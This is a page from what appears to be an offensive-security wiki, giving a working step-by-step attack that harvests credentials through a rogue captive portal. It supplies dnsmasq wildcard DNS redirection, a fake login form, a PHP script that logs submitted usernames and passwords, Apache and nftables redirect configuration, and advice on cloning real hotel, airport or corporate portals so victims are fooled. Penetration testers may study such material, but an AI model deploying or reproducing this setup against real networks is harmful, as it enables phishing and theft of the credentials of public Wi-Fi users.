# Captive Portal Credential Harvesting

> Exploits captive portal mechanisms to harvest user credentials via rogue access points, DNS spoofing, and phishing pages mimicking legitimate login portals.

- **URL:** https://hackindex.io/platforms/wireless/exploitation/captive-portal-credential-harvesting
- **Path:** Wireless > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/wireless/exploitation.md)
- **Published:** 2026-03-17
- **Updated:** 2026-08-11

A captive portal rogue AP combines an evil twin with a fake login page. Clients connecting to the open evil twin AP are redirected to a credential harvesting page regardless of what URL they try to visit. The page mimics the legitimate network's portal or a generic authentication page. Submitted credentials are logged server-side. This technique is effective against networks where users expect to authenticate through a portal such as hotel, cafe, or guest corporate networks.

This builds on the evil twin AP setup. Have hostapd-mana running with dnsmasq serving DHCP on wlan1 and the AP interface assigned 192.168.99.1 before continuing.

## Configure dnsmasq for DNS Redirect

Redirect all DNS queries to the attacker's IP so any domain resolves to the portal page:

/tmp/dnsmasq-portal.conf

```
interface=wlan1
dhcp-range=192.168.99.2,192.168.99.254,255.255.255.0,12h
address=/#/192.168.99.1
no-resolv
```

```bash
dnsmasq -C /tmp/dnsmasq-portal.conf --no-daemon
```

`address=/#/192.168.99.1` resolves every DNS query to the portal IP. Clients trying to reach any website get the attacker's IP back from DNS and land on the portal page.

## Create the Captive Portal Credential Harvesting Page

Create a simple login page that logs submitted credentials:

```bash
mkdir -p /var/www/html/portal
```

**/var/www/html/portal/index.html**

```
<html>
  <body>
    <h2>Network Authentication Required</h2>
    <form method="POST" action="/portal/capture.php">
      Username: <input type="text" name="username"><br>
      Password: <input type="password" name="password"><br>
      <input type="submit" value="Connect">
    </form>
  </body>
</html>
```

**/var/www/html/portal/capture.php:**

```php
<?php
$log = date('Y-m-d H:i:s') . ' | ' . $_SERVER['REMOTE_ADDR'] . ' | ' . $_POST['username'] . ' | ' . $_POST['password'] . "\n";
file_put_contents('/tmp/portal-creds.txt', $log, FILE_APPEND);
header('Location: http://google.com');
```

## Configure Apache to Serve the Portal

**/etc/apache2/sites-available/portal.conf:**

```ini
<VirtualHost *:80>
    DocumentRoot /var/www/html/portal
    DirectoryIndex index.html
    <Directory /var/www/html/portal>
        AllowOverride All
        Require all granted
    </Directory>
</VirtualHost>
```

```bash
a2ensite portal.conf
a2enmod php8.2
systemctl start apache2
```

## Redirect HTTP Traffic with nftables

Force all HTTP traffic from connected clients to the local Apache server regardless of the destination they requested:

```bash
nft add table ip nat
nft add chain ip nat PREROUTING { type nat hook prerouting priority -100 \; }
nft add rule ip nat PREROUTING iif wlan1 tcp dport 80 dnat to 192.168.99.1:80
```

This redirects all TCP port 80 traffic arriving on `wlan1` to the local portal. Combined with the DNS redirect from dnsmasq, clients hit the portal page for every HTTP request regardless of what domain they type.

## Making the Captive Portal Convincing

A bare login form gets dismissed by most users. To increase the success rate of captive portal credential harvesting:

- Clone the legitimate portal page with `wget -mkEp` or use the browser dev tools to save the full HTML. Match the CSS, logo, and layout exactly.
- Use the target organization's branding. Hotel, airport, and corporate guest portals all have recognizable designs that users expect to see.
- Add a terms of service checkbox and a "remember me" option. These visual cues make the page feel authentic.
- Redirect to a real page after submission (e.g. `http://captive.apple.com/hotspot-detect.html`) so the device dismisses the captive portal detection overlay.
- Serve the page over HTTPS with a self-signed cert if possible. Some devices display a "Not Secure" warning on HTTP-only portals that makes users suspicious.

## Common Failures in Captive Portal Attacks

Several things can break the captive portal flow:

- Modern devices use HTTPS-based captive portal detection (Apple uses `captive.apple.com`, Android uses `connectivitycheck.gstatic.com`). Since the DNS redirect returns your IP for these domains, the TLS handshake fails and the device may show a "no internet" warning instead of the portal.
- Some devices open the captive portal in a sandboxed mini-browser that does not share cookies or sessions with the main browser, limiting what you can do after credential capture.
- If dnsmasq is not running or was started on the wrong interface, DNS resolution falls through to the upstream resolver and clients reach the real internet instead of the portal.
- Apache may not start if port 80 is already bound by another service. Check with `ss -tlnp | grep :80` before starting.

## Monitor Captured Credentials

```bash
tail -f /tmp/portal-creds.txt
# 2024-03-15 19:22:14 | 192.168.99.12 | john.smith | Summer2024!
```

## Clean Up nftables Rules

Remove the redirect rule when finished:

```bash
nft flush table ip nat
```

## References

- [nftables wiki: NAT configuration](https://wiki.nftables.org/wiki-nftables/index.php/Performing_Network_Address_Translation_(NAT)) - PREROUTING DNAT rule syntax for HTTP traffic redirection
- [dnsmasq documentation](https://thekelleys.org.uk/dnsmasq/doc.html) - address= directive for wildcard DNS redirect
